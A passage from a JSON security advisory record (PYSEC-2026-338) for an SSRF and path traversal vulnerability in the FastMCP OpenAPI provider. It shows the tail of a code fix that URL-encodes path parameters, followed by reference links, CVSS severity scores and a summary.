path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "PYSEC-2026-338",
  "modified": "2026-07-01T20:22:52.844800Z",
  "published": "2026-06-29T11:50:45.183289Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/fastmcp"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vv7q-7jx5-f767"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability"
}